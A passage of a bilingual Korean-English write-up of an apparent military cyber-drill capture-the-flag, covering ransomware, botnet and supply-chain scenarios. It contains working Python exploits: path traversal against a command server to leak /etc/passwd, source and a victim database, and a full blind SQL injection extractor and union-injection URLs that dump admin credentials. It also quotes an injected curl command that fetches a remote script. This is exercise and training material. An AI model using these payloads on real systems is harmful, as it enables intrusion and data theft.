---
# System prepended metadata

title: 2022 ADMM-Plus CyberDrill WriteUp

---

2022 ADMM-Plus CyberDrill WriteUp
===

Scenario 1 - Ransomware
---
### Prob 1

```
국내 방산업체인 블루항공에서 랜섬웨어의 감염 흔적이 발견되었다.

공격 당시 패킷이 블루항공 대응 관제팀에 의해 채증되었다.

블루 코스모스 사이버 국방 분석 팀은 패킷을 분석해 공격자 서버를 식별하라.

FLAG 형식: 2022admmp{md5(첫번째 공격자 IP주소)}

Some traces of ransomware infection were found at Blue Airline, a domestic defense company.

Blue Air control team had captured packets the time when they attacked.

This is an order to Blue Cosmos Cyber Defense Analysis team.

Analyze the given packet and identify the attacker server.

FLAG format: 2022admmp{md5(first attacker IP address)}
```


가장 먼저 pcapng(패킷파일) 파일을 분석하기 위해서는 Wireshark라는 도구를 이용하여 분석을 이행해야 합니다. 

To analyze pcapng file, we need wireshark, the network packet tool.

![](https://i.imgur.com/Zj5F3qH.png)


악성 패킷을 찾기 위해서는 http, socket 통신과 같은 커스텀하게 사용할 수 있는 프로토콜을 위주로 분석을 하는게 좋습니다.

To find malicious packet, we recommand you to analyze some customizable protocols such as http, socket.

http 패킷을 탐색하다 보면 수상한 파일을 다운로드 받아오는 것을 확인 할 수 있습니다.

You can see some suspicious http packet which download exe file.

![](https://i.imgur.com/TE3YXWb.png)


동일한 요청을 반복적으로 많이 하는 것 같지만, 자세히 보면 데이터가 조금씩 달라지는 것을 확인 할 수있습니다.

You can see that the same requests send to repeatedly, but the data changes little by little.

![](https://i.imgur.com/hkqtM1m.png)

문제 지문이 유포지 서버를 찾는것이 문제이므로 IP를 추출하여 해시를 계산해보면 아래와 같이 `2ef2883413af486e8d35fbe31e9f9ebc` 로 계산됩니다.

The question is "find distribution server address", so extract the ip and calculate md5 hash then you can get 2ef2883413af486e8d35fbe31e9f9ebc. 

```bash
>>> import hashlib
>>> result = hashlib.md5(b"52.78.19.105")
>>> result.hexdigest()
'2ef2883413af486e8d35fbe31e9f9ebc'
```

따라서 플래그는 `2022admmp{2ef2883413af486e8d35fbe31e9f9ebc}` 입니다.

So flag is 2022admmp{2ef2883413af486e8d35fbe31e9f9ebc}.

### Prob 2
```
블루항공 침해 사고 조사팀에서 이번 사건과 관련된 악성코드를 첨부하여 보냈다.

블루 코스모스 사이버 국방 분석 팀은 로더형 악성코드를 분석하여 패킷에서 추가 악성코드를 채증하여라.

download server: hxxp://52.78.19.105:8001

FLAG 형식: 2022admmp{md5(패킷에서 채증한 추가 악성코드 바이너리)}

A malware related with this infection have sent from the Infringement Investigation Team at the Blue Airline.

This is an order to Blue Cosmos Cyber Defense Analysis team. Analyze the given loader and extract additional malware in packet.

download server: hxxp://52.78.19.105:8001

FLAG format: 2022admmp{md5(additional malware extracted from packet)}
```
주어진 문제 파일을 IDA pro를 통해 분석을 이행합니다.

Analyze given binary with IDA pro.

![](https://i.imgur.com/2DCkX04.png)


디버거를 통해 파일을 생성하는 부분에 Break point를 설정합니다.

Set breakpoint at the CreateFileA as below.

![](https://i.imgur.com/rAjwNAr.png)


파일을 Close 하는 부분 까지 디버거를 진행시켜 추가 악성코드를 추출 할 수 있습니다.

Run debugger and continue to breakpoint, and step over to CloseHandle function, then you can extract additional malware by debugging.

![](https://i.imgur.com/MlPja2V.png)

HASH TAB 프로그램을 이용하여 아래와 같이 파일에 대한 해시값을 추출하면 문제를 해결할 수 있습니다.

Extract file hash using HASH TAB as below, then you can solve the problem. 
 
![](https://i.imgur.com/flzWajJ.png)


Flag: `2022admmp{D506D925FEA2AED698C62D2C2EDF291C}`


### Prob 3
```
블루항공의 방화벽 업데이트를 위해 악성코드에서 통신하는 C&C서버 주소를 채증하라.

FLAG 형식: 2022admmp{md5(공격자 서버의 도메인)}

Find the Command&Control server address in the malware to update the Blue Airline firewall.

Flag format: 2022admmp{md5(attacker's server domain)}
```

a.exe를 IDA를 통해 분석해보면, main 함수에 포함된 GetRansomPath 함수를 분석하면 악성 URL을 확인 할 수 있습니다. 

Let's analyze a.exe with IDA. You can see malicious URL at the GetRansomPath function included in main funciton.

![](https://i.imgur.com/LKPxx46.png)


문제 지문을 참고하여 도메인을 추출하면 [chall.f10w3r.xyz](http://chall.f10w3r.xyz) 임을 알 수 있습니다.

따라서 플래그는 파이썬을 이용하여 아래와 같이 해시 값을 계산하여 구할 수 있습니다.

If you extract the domain by referring to the problem fingerprint, you can see 'chall.f10w3r.xyz'. Therefore, you can get the flag by calculating the hash value using Python as shown below.

```bash
>>> import hashlib
>>> hashlib.md5(b"chall.f10w3r.xyz").hexdigest()
'c0b86fc32ae2aaf9bb48098dbd400f31'
```

Flag: `2022admmp{c0b86fc32ae2aaf9bb48098dbd400f31}`

### Prob 4
```
악성코드 분석결과 TPA-1(레드 트루퍼, 국가적 단위 지원 공격 그룹) APT 그룹임이 확인 되었다.

TPA-1 그룹 랜섬웨어의 암호학적 설계 결함을 찾아 암호화 된 항공 설계도 파일을 복원하여라.

FLAG 형식: flag 파일 내용

After the malware analysis, we confirmed that malware have made by TPA-1 APT group(Red Trooper).

Find the cryptographic design fault and recover the encrypted airline blueprint.

FLAG format: flag file contents
```
서버에서 암호화시킬 디렉토리를 받아옵니다. 그리고 GetFileList 함수를 이용하여 디렉토리에 포함된 모든 파일 목록을 가져옵니다.

If you analyze the binary, you can see that it request to server to get the directory path to encrypt. Then find all file list at the directory by executing GetFileList function.

![](https://i.imgur.com/t1w6jsa.png)


이렇게 가져온 데이터를 Iterator 방식으로 데이터를 하나씩 꺼내 `golang_org_x_net_trace_RenderEvents_func1` 콜백 함수에서 데이터를 처리합니다.

The binary processes parsed data one by one at callback function `golang_org_x_net_trace_RenderEvents_func1`, with Iterator.

![](https://i.imgur.com/h2z5J1M.png)



위 코드 패턴은 Goroutine이 inline 된 코드로 병렬 처리 기반으로 코드가 설계된 것입니다. 디버깅 환경에서 여러 스레드가 생성되는 것을 확인 할 수 있습니다. 

This code pattern is "Go routine inlined code", designed based on parallel processing. If debug it, you can see many threads created.

코드상에서는 실제 공격자가 의도한 main_fileRansom 함수가 존재합니다.

On the code, main_fileRansom function intented by attacker exist.

![](https://i.imgur.com/Zl70qi2.png)



현재 시간을 기반으로 시드를 초기화 한 뒤 인자로 전달 받은 파일의 데이터를 읽습니다.

It initialize rand seed based on the current time, and read the file data passed by argument.

![](https://i.imgur.com/Hfls1lt.png)


AES - CBC 알고리즘을 이용하여 데이터를 암호화 합니다.

Data is encrypted with AES-CBC algorithm.

![](https://i.imgur.com/pmSrnLz.png)


이때 키는 랜덤 시드를 현재시간으로 초기화하고 16바이트만큼 Go lang의 랜덤 함수를 이용하여 키 값을 생성합니다.

16byte key is created by using go lang random function which random seed initialized with current time.

![](https://i.imgur.com/77YZNrp.png)



CBC  운용 모드에 사용되는 Inital vector 값은 아래와 같이 확인 할 수 있습니다.

You can see Initial vector which is used CBC mode as below.

![](https://i.imgur.com/A4q7Gz9.png)


일반적으로 잘 설계된 랜섬웨어에는 키를 복호화 할 수 없으나, 약간의 편법을 이용해 데이터를 복원 할 수 있습니다 .

Generally, keys cannot be cracked on well-designed ransomware, but data can be restored using some idea.

시간 값을 기반으로  초기화 하기 때문에 분석하는 시점부터 1초씩 뒤로 값을 계산하더라도 현대의 컴퓨팅 파워로 충분히 문제를 해결 할 수 있습니다. 

Since the seed is initialized by current time, computer can solve the problem although you calculate the value backwards by one second from the time you analyze it.

하지만, 여기서 고려해야할 점은 멀티 스레딩 환경에서 현재 시간을 기준으로 데이터를 암호화 하기 때문에 rand 함수의 호출 횟수에 따라 스레드별로 키를 사용하는 빈도수가 달라집니다. 

Consider that in a multi-threading environment, data is encrypted based on the current time, so the frequency of key used in each thread are different depending on the number of calls to the rand function.

따라서, 사전 공격을 위한 키 파일을 생성할 때 이를 고려하여 임의로 범위를 지정하여 문제를 해결해야 합니다. 키 사전파일을 생성하는 알고리즘은 아래와 같습니다.

Therefore, when you generate a key file for dictionary-attack, you should consider it and assign arbitrary scope to resolve the problem. The algorithm to create key file is as below.

```go
package main

import (
	"fmt"
	"math/rand"
	"time"
)

func main() {
	var basetime int64 = time.Now().Unix()
	for i := basetime; i > basetime-100000; i-- {
		rand.Seed(i)
		for j := 0; j < 15; j++ {
			key := fmt.Sprintf("%016x", rand.Int63())
			fmt.Println(key)
		}
	}

}
```

이렇게 생성된 키 테이블을 이용하여  exploit 코드를 제작하면 문제를 해결 할 수 있습니다.

You can solve the problem by writing exploit with created key table like this.

```python
import pathlib
from Crypto.Cipher import AES
import Crypto.Cipher.AES

# 7100e734b4b90464

keys = pathlib.Path("keys").read_bytes().split(b"\n")
iv = b"fffffv461adcb4ec"
enc = pathlib.Path("../../trash/flag.SEORI").read_bytes()
for key in keys:
    if key == b"":
        continue
    # print(key)
    cipher = AES.new(key, AES.MODE_CBC, iv) 
    plaintext = cipher.decrypt(enc)
    if b"2022admm" in plaintext:
        print(plaintext)
```

실행 결과는 아래와 같습니다.

The exploit result is seen as below.

![](https://i.imgur.com/Q8i2yj0.png)


Flag: `2022admmp{chall_1_r4ans0mw4r3_R3st0r3~~!!~!~!~!!~~!~~!~!!}`

Scenario 2 - Botnet
---
### Prob 1

```text
블루 코스모스의 국방망에서 레드 트루퍼 추정 그룹 TPA-1의 공격으로 추정되는 로그가 발견되었다.

웹 서버의 로그 파일을 분석하여 공격자 서버 주소를 확보해 블루 코스모스 국방망 보안팀에게 전달하라.

FLAG 형식: 2022admmp{...}

A log believed to be an attack by the Red Trooper group(TPA-1) was found in the defense network of Blue Cosmos.

Analyze the web server log file, find the attacker server, and tell to Blue Cosmos Cyber Defense Analysis team.

FLAG format: 2022admmp{...}
```

에디터를 통해 확인하면 대량의 Access 로그가 존재하는 것을 확인할 수 있습니다.

If you check with some editor such as vscode, you can see that a large amount of Access logs exist.

로그중 공격에 많이 사용되는 URL 인코딩 “%20”를 기준으로 검색하면 5개의 로그를 확인할 수 있습니다

If you search by URL encoding "%20" which is often used for attacks, you can see five logs.

![](https://i.imgur.com/1pnv79g.png)



해당 로그는 서버사이드 템플릿 인젝션에 대한 로그로, base64로 인코딩된 문자열을 확인하면 아래와 같은 문자열을 확인할 수 있습니다

That is server side template injection log. And you can see the below strings by decoding base64 encoded strings.

```sh
;curl -XGET [http://2022admmp](http://2022admmp/){f14g_p4ck3t_m1pr41_b0t_n3t_c2_s3rv3r}/1.sh > [1.sh](http://1.sh/);
```

Flag: 2022admmp{f14g_p4ck3t_m1pr41_b0t_n3t_c2_s3rv3r}

### Prob 2
```
국방망 보안팀에서 전달받은 공격자 IP를 조회 해본 결과, 국방망 내부에 있는 한 공유기임을 확인하였다.

자세한 분석을 위해 디지털 포렌식한 결과 로그는 공격자가 흔적을 제거하는 과정에서 삭제된 것으로 확인되었다.

하지만, 디스크 데이터 복원 기술을 이용하여 MIPS 아키텍처로 제작된 악성코드의 확보가 가능하였다.

악성코드를 분석하여 C&C서버 주소를 채증하라.

FLAG 형식: 2022admmp{md5(공격자 IP주소)}

As a result of inquiring the attacker IP received from the defense network security team, it have been confirmed that was a router inside the defense network.

We did digital forensic for detail analysis and found that the log was deleted by the attacker to remove evidence.

But, we could take the malware produced with MIPS architecture using disk data restoration technology.

Analyze the malware and identify Command&Control server address.

FLAG format: 2022admmp{md5(attacker's IP address)}
```
IDA 통해 String 목록을 검사하면 url로 추정되는 문자열을 발견할수 있습니다

You can find some url strings by checking String list at the IDA.

해당 문자열을 추적하면__static_initialization_and_destruction 함수에서 URL을 0x4E680 변수에 복사하고 사용하는 것을 확인할 있습니다.

If trace the string, you can see the url copied to 0x4E680 value and use it, in `__static_initialization_and_destruction` function.

![](https://i.imgur.com/ZAo9nFz.png)


![](https://i.imgur.com/GxnCHOo.png)



Flag: 2022admmp{82b1dbf6d18b3e081161e66b7ff268d7}

### Prob 3
```
국방망에 구축된 엔드포인트(EDR)제품의 로그 분석 결과, 악성코드에는 정보 탈취 기능이 포함된 것으로 보인다.

블루 코스모스 사이버 국방 분석팀은 악성코드를 분석하여 탈취된 파일의 확장자를 찾아라.

FLAG 형식: 2022admmp{md5(확장자1-확장자2-확장자3-확장자4-확장자5-확장자6-확장자7)}

As a result of EDR log analysis, malware seems to include function of information steal.

This is an order to Blue Cosmos Cyber Defense Analysis team. Analyze the malware and identify the extension of stolen file.

FLAG format: 2022admmp{md5(extension1-extension2-extension3-extension4-extension5-extension6-extension7)}
```
바이너리를 디컴파일러를 통해 확인하면 Curl 라이브러리를 이용해 Get 요청을 보내는것을 확인할 수 있습니다.

If decompile the binary using decompiler, It send get request with Curl library.

![](https://i.imgur.com/4OYeKSb.png)


2번문제에서 확인된 서버의 주소와 URL을 조합하면 아래와 같은 URL을 획득할 수 있습니다

You can get URLs using server ip address decovered by Prob 2-2 and URL.

http://13.125.99.171/regit
http://13.125.99.171/getcmd

`http://13.125.99.171/getcmd`는 서버에서 명령어를 전달받는 URL로 파일 업로드 경로, 디렉토리 경로, 서버로 전송할 확장자 목록을 반환합니다.

![](https://i.imgur.com/5LclOQB.png)


이를 통해 서버로 전송되는 확장자 목록을 추정할수 있으며 따라서 플래그는 아래와 같습니다

You can estimate extensions list which are send to server. Therefore you can get the flag by this code:

```python
import hashlib

print(hashlib.md5("-".join("py;pyc;hwp;7z;zip;php;cpp".split(";")).encode()).hexdigest())
# >> 2022admmp{32c996da1c3412fe31846dc688892c51}
```


### Prob 4
```
이번 공격이 TPA-1(레드 트루퍼 국가 지원 추정 그룹)의 이라이 봇넷 사태와 유사한 것으로 파악되었다.

블루 코스모스 사이버 국방 분석팀은 추가 피해 사실을 확인하기 위해 TPA-1 공격 그룹 서버에 존재하는 취약점을 찾아 피해자 정보를 확보하라.

플래그는 확보된 DB 파일 중 피해자 정보에 존재한다.

FLAG 형식: 2022admmp{플래그 내용}

This attack was found to be similar to the Irai Botnet incident by TPA-1 (Red Trooper State Assumption Group).

This is an order to Blue Cosmos Cyber Defense Analysis team.

Find vulnerability at the server of TPA-1 group, attack it, and identify the victim.

Flag is at the victim information in Database.

FLAG format: 2022admmp{flag contents}
```
이전 문제를 참고해보면 공격자 서버는 `13.125.99.171` 임을 확인 하였습니다.

Referring to the previous problem, you know the attacker's server ip address is "13.125.99.171".

![](https://i.imgur.com/pn1qFVf.png)


또한, 이 서버를 경유하여 가장 먼저 [http://13.125.99.171](http://13.125.99.171)/regit 에 접속하여 수신 받은 데이터를 복호화할 키를 서버에서 전달 받습니다.

Also, if you analyze binary, you can see that it connect to http://13.125.99.171/regit and the key which decrypt data is received.

![](https://i.imgur.com/3swqETt.png)


전달 받은 키 값을 기반으로 추후에 서버에서 전달 받은 데이터를 복호화 하는데 사용할 예정입니다.

The key will be used to decrypt server data.

C&C서버에서 추가 악성코드를 다운로드 받을 떄 서버에서 전달 받은 데이터를 다시 서버에 filename 파라메터에 경로를 넣어 추가 악성코드를 다운로드 받아오는 구조로 구성 되어있습니다.

When download additional malware, download logic is configured what the received data from server is put to the filename parameter on the server again.

![](https://i.imgur.com/5Yc1fDA.png)


플레이어는 이점을 이용하여 다운로드 취약점이 발생하는지 테스팅을 할 수 있습니다. 아래 두줄을 이용하여 /etc/passwd를 다운로드 받을 수 있습니다.

Using this, players can request some query for testing download vulnerability. The script to download /etc/passwd is as below.

```go
>>> requests.get("http://13.125.99.171/regit").content
b'I^FY7n%T5!38sZE9l@iPz0MprV(uyvHw'
>>> requests.get("http://13.125.99.171/download?filename=../../../../../etc/passwd").content
b'6181245c06bb5193eb7cc233f31b465045c2a8bcb2f0fddd9b4e57dcec8a6a96814b96b9c7b3ece12d3021ddea6c6851fe5db0bbae01a8a2377d15fa4ea3f5511f7d7849b3e2bf32cea0c9c45f663378ef881b1926d0581402e8ca1efed29200911a72fdeb8278f77fd635bbc0868bda2841cf7affc3ae6389c5f7440efe5129f19b33773f24d1c8063abccd83e49f78fd24f3a33407b4f89b0cc31330794d698ad4a77761f08277b974ff28a4a395404b45b47a41e365b7c2eaa83621bd1e4fe4dde4a0b4f5d16e62e1242cd87d221ec417a1c7bceb9332c74494066e29de90ca23f2c544ccbd4b03b3ac3f6d7d6d139e0f0d094ff3bc5b3428059381f5f35e501e19fc0c6021a1c63e36535cb2594732b0b82d2e235eaaad0f7b7db070b5ae70c37414e378868f93ad95bcdbfb5f1dc5b7f85944bf25f3ae09752e77b9eaaacc0c40982a569c57057a58ac85ef193eb977be214fb114b464df5d8045dfdd48e32af1b0c5519cf7198c01de674f126cb85531267f2eeb7407fe7230443ce0966ac69305172888440d645800e5c9b7b74036a7a94e0a919c69578f78d4d95a35ea375796262717bbe83a76b8acec9d697a74904110288f8b734b729f654849c60391d903464c64f770a9c4968356394fa4bfed0ee4b0aa8f8024820931ded59f38649465c82c83bfbe62eda635e74b8fac6395e2a86d5062a6fe534cd9510a195e1c80fa0ed59bb878957319e4e39ce601bf612c92fe7d2d73e6a6625f515afb9d3fea6a93213de98f886c6a599e71d33e37a184dad6af3b67f0cfa9d99a63b8865a46f0ea6656c52e3c0ffe934ad034d3aa105f093b2654e1c8a95c00bcdad525d84df7b8f2abdb78f8c7f1156f9e1d4097ec4d89f793a8491191a2e14b5ded77130695bb13e7882a869545bcc75ddd01d2054fac7a826699d935b19d1dbedaa55e3d8a7e699a9b186ac11c31653f335290093ab3383030ad456136590e0a59cf58f98a43b4a36c4aea88ed887d8cd8c02a6aa5a6a02264e7207ee6cf9107d21d6eb29dbec36b3fa5dd5b3908e6ca04ee18a76907bdef1c4fc5a720488ccdc8651e3f095633c8f60bcaec99082d87c644559995960a7c7a0b3895dce21a74f02d663aeaa24a14831685274d88f085329e8314f1f391f7df6a709195bf9205fb90d2e29d330227c59bfd4d96474b04697cf4bc519b4ec724395f095e22d416e54d72f728713f6cf4c48ceb4efe96acf632e259d2c455fe4b6ca7e99da3cb97d08295e6155b4b9af1ee416d8cb2c88f1a902f762aa68b077837cc'
```

하지만, 이렇게 다운로드 받은 파일은 아래 RC4 알고리즘을 통해 복호화 되기 때문에 데이터를 복원 가능합니다.

 The downloaded file is decrypted with RC4 algorithm as below. So, you can recover data.

![](https://i.imgur.com/XHp0AEs.png)


이때 키는 `[http://13.125.99.171/regit](http://13.125.99.171/regit)` 에서 키를 다운로드 받아 오기 때문에 플레이어도 손 쉽게 데이터를 복원 할 수 있습니다. 아래와 같이 분석한 내용을 기반으로 서버 파일을  leak 하는 코드를 제작합니다.

The key is downloaded at [http://13.125.99.171/regit](http://13.125.99.171/regit). Write an exploit code based on analyzed contents to leak server file.

```python
import requests
import pathlib
def KSA(key):
    key = bytearray(key)
    s = [i for i in range(256)]
    j = 0
    for i in range(256):
        j = (j + s[i] + key[i%len(key)]) % 256
        s[i], s[j] = s[j], s[i]
    return bytes(s)

def PRGA(text, s):
    s = bytearray(s)
    t_list = bytearray(text)
    i, j = (0, 0)
    for index in range(len(t_list)) :
        i = (i+1) % 256
        j = (j + s[i]) % 256
        s[i], s[j] = s[j], s[i]
        xor_key = s[(s[i] + s[j]) % 256]
        t_list[index] = xor_key ^ t_list[index]

    return bytes(t_list)

def rc4(text, key):
    s = KSA(key)
    result = PRGA(text, s)
    return result

def regit():
    resp = requests.get("http://13.125.99.171/regit")
    return resp.content

def leak(path:str):
    url = f"http://13.125.99.171/download?filename={path}"
    resp = requests.get(url)
    return bytes.fromhex(resp.text)

def exploit_leak_passwd():
    key = regit()
    data = leak("../../../../../etc/passwd")
    print("key: ", key, "\ndata size:", len(data))
    msg = rc4(data, key)
    pathlib.Path("passwd").write_bytes(msg)

def main():
    exploit_leak_passwd()

if __name__ == "__main__":
    main()
```

플레이어는 공격자 C&C서버의 모든 파일을 다운로드 받을 수 있습니다. 따라서, 서버의 소스코드를 다운로드 받을 수 있는 기회가 있습니다. 

Player can download all of C&C server files. So, you can download server source code.

플레이어는 서버가 어떻게 구성 되어있는지 정찰(Recon)하는 작업이 필요합니다. 따라서 다운로드 받는 파일을 하나씩 전수 조사해보면 `__pycache__` 디렉토리 내 `app.pyc` 파일을 추출할 수 있습니다.

Player should do recon task to find server's structure. Therefore, if you investigate all the files you download one by one, you can extract the app.pyc in the __pycache__ directory.

```python
import requests
import pathlib
def KSA(key):
    key = bytearray(key)
    s = [i for i in range(256)]
    j = 0
    for i in range(256):
        j = (j + s[i] + key[i%len(key)]) % 256
        s[i], s[j] = s[j], s[i]
    return bytes(s)

def PRGA(text, s):
    s = bytearray(s)
    t_list = bytearray(text)
    i, j = (0, 0)
    for index in range(len(t_list)) :
        i = (i+1) % 256
        j = (j + s[i]) % 256
        s[i], s[j] = s[j], s[i]
        xor_key = s[(s[i] + s[j]) % 256]
        t_list[index] = xor_key ^ t_list[index]

    return bytes(t_list)

def rc4(text, key):
    s = KSA(key)
    result = PRGA(text, s)
    return result

def regit():
    resp = requests.get("http://13.125.99.171/regit")
    return resp.content

def leak(path:str):
    url = f"http://13.125.99.171/download?filename={path}"
    resp = requests.get(url)
    return bytes.fromhex(resp.text)

def exploit_leak_source_code():
    key = regit()
    data = leak("../__pycache__/app.cpython-39.pyc")
    print("key: ", key, "\ndata size:", len(data))
    msg = rc4(data, key)
    pathlib.Path("app.pyc").write_bytes(msg)

def main():
    exploit_leak_source_code()

if __name__ == "__main__":
    main()
```

pyc 파일은 헤더파일을 참고해보면 3.9 버전으로 생성 되었기 때문에 pycdc 프로그램을 이용하여 데이터를 디컴파일 할 수 있습니다.

Referring by header, that pyc file created python 3.9 version. So you can decompile it using pycdc program.

[https://github.com/zrax/pycdc](https://github.com/zrax/pycdc)

소스코드를 디컴파일 해보면 db.db 파일에 피해자 데이터를 기록한다는 것을 알 수 있으며 플레이어는 해당 디비 파일을 다운로드 받으면 피해자 정보를 모두 다운로드 받을 수 있습니다.

If decompile the source, you can see it write to `db.db` for logging victim data. Player can get all of victim information by downloading the db.db file.

![](https://i.imgur.com/52SJ9Ub.png)



아래 코드를 통해 db.db 파일을 다운로드 받습니다. 

Download `db.db` file with the code as below.

```python
import requests
import pathlib
def KSA(key):
    key = bytearray(key)
    s = [i for i in range(256)]
    j = 0
    for i in range(256):
        j = (j + s[i] + key[i%len(key)]) % 256
        s[i], s[j] = s[j], s[i]
    return bytes(s)

def PRGA(text, s):
    s = bytearray(s)
    t_list = bytearray(text)
    i, j = (0, 0)
    for index in range(len(t_list)) :
        i = (i+1) % 256
        j = (j + s[i]) % 256
        s[i], s[j] = s[j], s[i]
        xor_key = s[(s[i] + s[j]) % 256]
        t_list[index] = xor_key ^ t_list[index]

    return bytes(t_list)

def rc4(text, key):
    s = KSA(key)
    result = PRGA(text, s)
    return result

def regit():
    resp = requests.get("http://13.125.99.171/regit")
    return resp.content

def leak(path:str):
    url = f"http://13.125.99.171/download?filename={path}"
    resp = requests.get(url)
    return bytes.fromhex(resp.text)

def exploit_leak_source_code():
    key = regit()
    data = leak("../__pycache__/app.cpython-39.pyc")
    print("key: ", key, "\ndata size:", len(data))
    msg = rc4(data, key)
    pathlib.Path("app.pyc").write_bytes(msg)

def exploit_leak_db():
    key = regit()
    data = leak("../db.db")
    print("key: ", key, "\ndata size:", len(data))
    msg = rc4(data, key)
    pathlib.Path("db.db.downloaded").write_bytes(msg)

def main():
    exploit_leak_db()

if __name__ == "__main__":
    main()
```

sqlite3 뷰어를 통해 플래그를 확보할 수 있습니다.

Then, you can find the flag using for sqlite3 viewer.

![](https://i.imgur.com/Yo7wseE.png)



Flag: 2022admmp{H3110-ADMM-Ch411-6a4663daf6e6a915cb1879db7657ca89}

Scenario 3 - Supply Chain Attack
---
### Prob 1
```
방산업체 블루 항공에서 PC들이 랜섬웨어에 감염되었다.

관제 시스템을 통해 캡처된 PCAP 파일을 통해 원인을 파악하고, 공격자를 식별하라.

FLAG 형식: 2022admmp{md5(공격자의 IP 주소)}

Some computers at the Blue Airline were infected.

Identify the cause and attacker with pcap file captured from control system.

FLAG format: 2022admmp{md5(attacker's IP address)}
```
제공된 패킷 덤프 파일은 Wireshark를 이용해 확인할 수 있습니다.

You can open the packet dump file using wireshark.

파일에는 대량의 패킷이 존재하기 때문에 적절한 필터를 통해 원하는 패킷을 쉽게 확인 할 수 있으며 http 필터를 통해 http 패킷만 확인 가능합니다

Since many amount of packet are exist in the packet dump, you should use http filter keyword to check only http filter.

http 패킷에는 악성 스크립트가 포함된 패킷이 존재하며, 악성 스크립트를 통해 공격자의 IP주소를 획득할 수 있습니다.

In the http packet, there is some packet that consist of malicious script. You can get attacker's IP address at the packet.

![](https://i.imgur.com/egbdKMt.png)


문제 지문에 따라 ip 주소를 md5 해싱한 값은 `2ef2883413af486e8d35fbe31e9f9ebc` 이며 전체 플래그는 아래와 같습니다.

According to the problem fingerprint, you calculate the md5 hash of ip address then the value is `2ef2883413af486e8d35fbe31e9f9ebc`. So the flag is as below.

flag : 2022admmp{2ef2883413af486e8d35fbe31e9f9ebc}

### Prob 2
```
악성 스크립트가 하달된 서버는 업데이트 관리 서버이다.

해커는 업데이트 관리 서버를 장악한 것으로 확인되나, 공격 벡터가 식별되지 않은 상태이다.

Agent 프로그램과 업데이트 관리 서버를 조사해 해커의 공격 벡터를 식별하라.

FLAG 형식: 2022admmp{문제 풀이시 제공되는 해싱값}

The server that the malicious script have been delivered is our update management server.

It is confirmed that the hacker have taken control of our update management server, but attack vector is not identified.

Identify hacker's attack vector by investigating Agent programs and update management servers.

FLAG format: 2022admmp{result hash value when solve the problem}
```
제공된 바이너리를 분석하면 업데이트 서버와 통신하고 서버에서 전달된 스크립트를 실행하는 것을 확인 할수 있습니다.

If you analyze the binary, you can see it communicate to update server and execute the script which sent by server.

또한 바이너리를 업데이트 서버의 ip와 url 경로를 알아낼 수 있으며 아래와 같습니다.

And you can find server ip and url path that update the binary. These are server ip and url.

```basic
http://3.35.235.41/update?ID=44f58b4a-9411-48ad-9b77-027b584ab746
http://3.35.235.41/update/download?ID=44f58b4a-9411-48ad-9b77-027b584ab746
```

해당 아이피로 접속하면 관리자 페이지 로그인 화면으로 리다이렉션 되어 관리자 패널이 존재함을 알수 있습니다.

If access the ip, you redirected to administrator login page. So you can see the admin panel exists.

![](https://i.imgur.com/mumPNRg.png)


바이너리 분석을 통해 알아낸 url에 ID 파라메터를 조작하면 sqli 필터링이 적용되지 않아 HTTP ERROR 500을 반환하며, 이를 통해  sqli 취약점이 발생한다는 사실을 유추할 수 있습니다. 

If you manipulate ID parameter for the url known by analysis, server response HTTP 500 ERROR because it doesn't filter sqli. So you can estimate the sql injection vulnerability exists at the server.

따라서 해당 경로에 Blind SQL Injection 공격을 통해 DB의 값을 추출할 수 있습니다.

Therefore, you can extract values at the db by Blind SQL Injection.

```python
import requests

result = ""
k = 0
while True:
    k += 1
    mid = 0
    for j in range(7, -1, -1):
        mid += pow(2, j)
        url = f"http://3.35.235.41/key?ID=' or if(ascii(substr(database(),{k},1))>{mid},1,(select 1 union select 2))%23"

        response = requests.get(url)
        if (response.status_code == 500):
            mid = mid - pow(2, j)

    if(mid == 0):
        break
    result = result+chr(mid+1)

print("DBNAME : "+result)
dbname = result

result=""
k = 0

while True:
    k += 1
    mid = 0
    for j in range(7, -1, -1):
        mid += pow(2, j)
        url = f"http://3.35.235.41/key?ID=' or if(ascii(substr((select group_concat(distinct TABLE_NAME) from information_schema.tables WHERE TABLE_SCHEMA='{dbname}'),{k},1))>{mid},1,(select 1 union select 2))%23"

        response = requests.get(url)
        if (response.status_code == 500):
            mid = mid - pow(2, j)

    if(mid == 0):
        break
    result = result+chr(mid+1)

tables = result.split(',')

for t in tables:
    result = ""
    k=0
    while True:
        k += 1
        mid = 0
        for j in range(7, -1, -1):
            mid += pow(2, j)
            url = f"http://3.35.235.41/key?ID=' or if(ascii(substr((select group_concat(distinct COLUMN_NAME) from information_schema.columns WHERE TABLE_NAME='{t}'),{k},1))>{mid},1,(select 1 union select 2))%23"

            response = requests.get(url)
            if (response.status_code == 500):
                mid = mid - pow(2, j)

        if(mid == 0):
            break
        result = result+chr(mid+1)

    columns = result.split(',')
    print("TABLE NAME : "+t)

    for i in columns:
        print(i)

i = -1
while True:
    i += 1
    result = ""
    k = 0
    while True:
        k += 1
        mid = 0
        for j in range(7, -1, -1):
            mid += pow(2, j)
            url = f"http://3.35.235.41/key?ID=' or if(ascii(substr((select CONCAT(id,' : ',password) from admin_table limit {i},1),{k},1))>{mid},1,(select 1 union select 2))%23"
            response = requests.get(url)
            if (response.status_code == 500):
                mid = mid - pow(2, j)

        if(mid == 0):
            break
        result = result+chr(mid+1)
    if (result == ""):
        break
    print(result)
```

또한 union 필터링이 적용되어 있지 않기 때문에 Union을 이용한 공격도 가능합니다

In addition, since union filtering is not applied, attacks using union keyword are possible.

```python
http://3.35.235.41/key?ID=%27%20%20Union%20select%20(select%20group_concat(TABLE_NAME)%20from%20information_schema.tables%20where%20TABLE_SCHEMA=%27updateserver%27)%23

http://3.35.235.41/key?ID=%27%20%20Union%20select%20(select%20group_concat(COLUMN_NAME)%20from%20information_schema.columns%20where%20TABLE_NAME=%27admin_table%27)%23

http://3.35.235.41/key?ID=%27%20%20Union%20select%20(select%20concat(id,%27%20:%20%27,password)%20from%20admin_table%20limit%201,1)%23
```

db에서 추출한 패스워드 값은 md5로 해싱되어 저장되어 있지만 keyAdmin의 패스워드는 레인보우 테이블이 존재하는 패스워드입니다. (admin1234)

The extracted password is saved as md5 hashed value, but the password of keyAdmin is exist at the rainbow table. (admin1234)

따라서 관리자 패널의 접속 정보를 획득하여 로그인 하면 Flag를 획득할 수 있습니다. 

Hence, If you log-in with administrator's account information, you can find flag.

![](https://i.imgur.com/gKEixBG.png)

flag: 2022admmp{1bfa820f4b5f8074f6d99052679f041d}


### Prob 3
```
해커는 Blind SQL Injection 공격을 통해 로그인을 성공한 것으로 확인된다.

